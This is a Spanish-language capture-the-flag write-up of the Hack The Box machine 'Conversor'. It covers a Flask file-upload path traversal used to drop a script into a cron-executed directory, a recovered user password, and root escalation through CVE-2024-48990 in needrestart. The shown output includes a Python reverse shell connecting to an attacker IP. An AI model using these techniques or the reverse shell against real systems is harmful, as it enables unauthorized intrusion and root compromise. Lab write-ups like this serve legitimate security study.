Conversor ofrece una solucion para reportes nmap. El codigo fuente es expuesto por la aplicacion web, donde descubrimos vulnerabilidades Path Traversal y Arbitrary File Write, asi como la ejecucion de un cronjob que nos permitio acceso inicial. Encontramos credenciales en la base de datos de la aplicacion logrando cambiar a un nuevo usuario. Este ultimo puede ejecutar como root un script vulnerable el cual nos ayudo escalar privilegios.
nmap muestra multiples puertos abiertos: http (80) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Nmap 7.95 scan initiated Sat Oct 25 14:45:38 2025 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.10.11.92Nmap scan report for 10.10.11.92
Host is up (0.086s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)|_ 256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)|_http-title: Did not follow redirect to http://conversor.htb/
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Oct 25 14:45:48 2025 -- 1 IP address (1 host up) scanned in 9.94 seconds
Web Site
El sitio web nos redirige al dominio conversor.htb el cual agregamos al archivo /etc/hosts.
fromflaskimportFlask,render_template,request,redirect,url_for,session,send_from_directoryimportos,sqlite3,hashlib,uuidapp=Flask(__name__)app.secret_key='Changemeplease'BASE_DIR=os.path.dirname(os.path.abspath(__file__))DB_PATH='/var/www/conversor.htb/instance/users.db'UPLOAD_FOLDER=os.path.join(BASE_DIR,'uploads')os.makedirs(UPLOAD_FOLDER,exist_ok=True)definit_db():os.makedirs(os.path.join(BASE_DIR,'instance'),exist_ok=True)conn=sqlite3.connect(DB_PATH)c=conn.cursor()c.execute('''CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE,
password TEXT
)''')c.execute('''CREATE TABLE IF NOT EXISTS files (
id TEXT PRIMARY KEY,
user_id INTEGER,
filename TEXT,
FOREIGN KEY(user_id) REFERENCES users(id)
)''')conn.commit()conn.close()init_db()defget_db():conn=sqlite3.connect(DB_PATH)conn.row_factory=sqlite3.Rowreturnconn@app.route('/')defindex():if'user_id'notinsession:returnredirect(url_for('login'))conn=get_db()cur=conn.cursor()cur.execute("SELECT * FROM files WHERE user_id=?",(session['user_id'],))files=cur.fetchall()conn.close()returnrender_template('index.html',files=files)@app.route('/register',methods=['GET','POST'])defregister():ifrequest.method=='POST':username=request.form['username']password=hashlib.md5(request.form['password'].encode()).hexdigest()conn=get_db()try:conn.execute("INSERT INTO users (username,password) VALUES (?,?)",(username,password))conn.commit()conn.close()returnredirect(url_for('login'))exceptsqlite3.IntegrityError:conn.close()return"Username already exists"returnrender_template('register.html')@app.route('/logout')deflogout():session.clear()returnredirect(url_for('login'))@app.route('/about')defabout():returnrender_template('about.html')@app.route('/login',methods=['GET','POST'])deflogin():ifrequest.method=='POST':username=request.form['username']password=hashlib.md5(request.form['password'].encode()).hexdigest()conn=get_db()cur=conn.cursor()cur.execute("SELECT * FROM users WHERE username=? AND password=?",(username,password))user=cur.fetchone()conn.close()ifuser:session['user_id']=user['id']session['username']=usernamereturnredirect(url_for('index'))else:return"Invalid credentials"returnrender_template('login.html')@app.route('/convert',methods=['POST'])defconvert():if'user_id'notinsession:returnredirect(url_for('login'))xml_file=request.files['xml_file']xslt_file=request.files['xslt_file']fromlxmlimportetreexml_path=os.path.join(UPLOAD_FOLDER,xml_file.filename)xslt_path=os.path.join(UPLOAD_FOLDER,xslt_file.filename)xml_file.save(xml_path)xslt_file.save(xslt_path)try:parser=etree.XMLParser(resolve_entities=False,no_network=True,dtd_validation=False,load_dtd=False)xml_tree=etree.parse(xml_path,parser)xslt_tree=etree.parse(xslt_path)transform=etree.XSLT(xslt_tree)result_tree=transform(xml_tree)result_html=str(result_tree)file_id=str(uuid.uuid4())filename=f"{file_id}.html"html_path=os.path.join(UPLOAD_FOLDER,filename)withopen(html_path,"w")asf:f.write(result_html)conn=get_db()conn.execute("INSERT INTO files (id,user_id,filename) VALUES (?,?,?)",(file_id,session['user_id'],filename))conn.commit()conn.close()returnredirect(url_for('index'))exceptExceptionase:returnf"Error: {e}"@app.route('/view/<file_id>')defview_file(file_id):if'user_id'notinsession:returnredirect(url_for('login'))conn=get_db()cur=conn.cursor()cur.execute("SELECT * FROM files WHERE id=? AND user_id=?",(file_id,session['user_id']))file=cur.fetchone()conn.close()iffile:returnsend_from_directory(UPLOAD_FOLDER,file['filename'])return"File not found"
Path Traversal / Arbitrary File Write
La ruta /convert permite subir sin validar el nombre del archivo. Esto permitiria el uso de ../ (Path Traversal) en el nombre del archivo lo que permite escribir archivos fuera del directorio uploads/. Es decir, si el archivo tuviera el nombre ../../folder/name/file.ext, este crearia el archivo en esa direccion, esto indicaria una vulnerabilidad Arbitrary File Write.
En el archivo install.md se indica que existe un cronjob que ejecuta archivos .py cada minuto en el directorio /var/www/conversor.htb/scripts/.
1
2
3
4
5
6
7
8
9
❯ cat install.md
# [... cut ...]If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.
"""
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
"""❯
Nuestro objetivo es subir el archivo a /var/www/conversor.htb/scripts/ donde el cronjob lo ejecutaria, esto lo logramos en la subida de archivos xml y/o xslt. Como nombre de archivo en cualquiera de los dos archivos indicamos ../scripts/sh.py.
Este usuario existe en la maquina, cambiamos a este con la contrasena anterior logrando leer la flag user.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
fwupd-refresh:x:111:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
fismathack:x:1000:1000:fismathack:/home/fismathack:/bin/bash
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
$ su fismathack
Password: Keepmesafeandwarm
fismathack@conversor:/var/www/conversor.htb/instance$ whoami;id
fismathack
uid=1000(fismathack)gid=1000(fismathack)groups=1000(fismathack)fismathack@conversor:/var/www/conversor.htb/instance$ cdfismathack@conversor:~$ ls
user.txt
fismathack@conversor:~$ cat user.txt
5af49e6ebf19af9b4cb592f3ae3087ab
fismathack@conversor:~$
Privesc
sudo -l -l indica que podemos ejecutar needrestart como root a traves de sudo.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
fismathack@conversor:~$ sudo -l -l
Matching Defaults entries for fismathack on conversor:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User fismathack may run the following commands on conversor:
Sudoers entry:
RunAsUsers: ALL
RunAsGroups: ALL
Options: !authenticate
Commands:
/usr/sbin/needrestart
fismathack@conversor:~$ file /usr/sbin/needrestart
/usr/sbin/needrestart: Perl script text executable
fismathack@conversor:~$
Vemos que la version de este script es needrestart 3.7.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
fismathack@conversor:~$ sudo needrestart --version
needrestart 3.7 - Restart daemons after library updates.
Authors:
Thomas Liske <thomas@fiasko-nw.net>
Copyright Holder:
2013 - 2022(C) Thomas Liske [http://fiasko-nw.net/~thomas/]Upstream:
https://github.com/liske/needrestart
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
fismathack@conversor:~$
CVE-2024-48990
Encontramos que existe una vulnerabilidad que permite la ejecucion de codigo Python por needrestart. Esto ocurre cuando el script determina si un proceso de Python necesita reiniciarse, tomando la variable PYTHONPATH desde /proc/<pid>/environ que luego la define y utiliza antes de ejecutar import sys\nprint(sys.path)\n. El PoC indica la creacion del modulo importlib el cual se ejecutaria a traves de import.
En una shell asignamos el directorio /dev/shm/ a la variable PYTHONPATH y luego ejecutamos el archivo main.py, proceso que ejecutaria nuestra shell inversa.
1
2
3
4
5
6
7
8
9
10
11
12
fismathack@conversor:/dev/shm$ exportPYTHONPATH=/dev/shm/; python3 main.py
Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth:
Traceback (most recent call last):
File "/usr/lib/python3.10/site.py", line 192, in addpackage
exec(line) File "<string>", line 1, in <module>
File "/dev/shm/importlib/__init__.py", line 1, in <module>
import os,pty,socket;s=socket.socket();s.connect(("10.10.14.3",1335));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh") ConnectionRefusedError: [Errno 111] Connection refused
Remainder of file ignored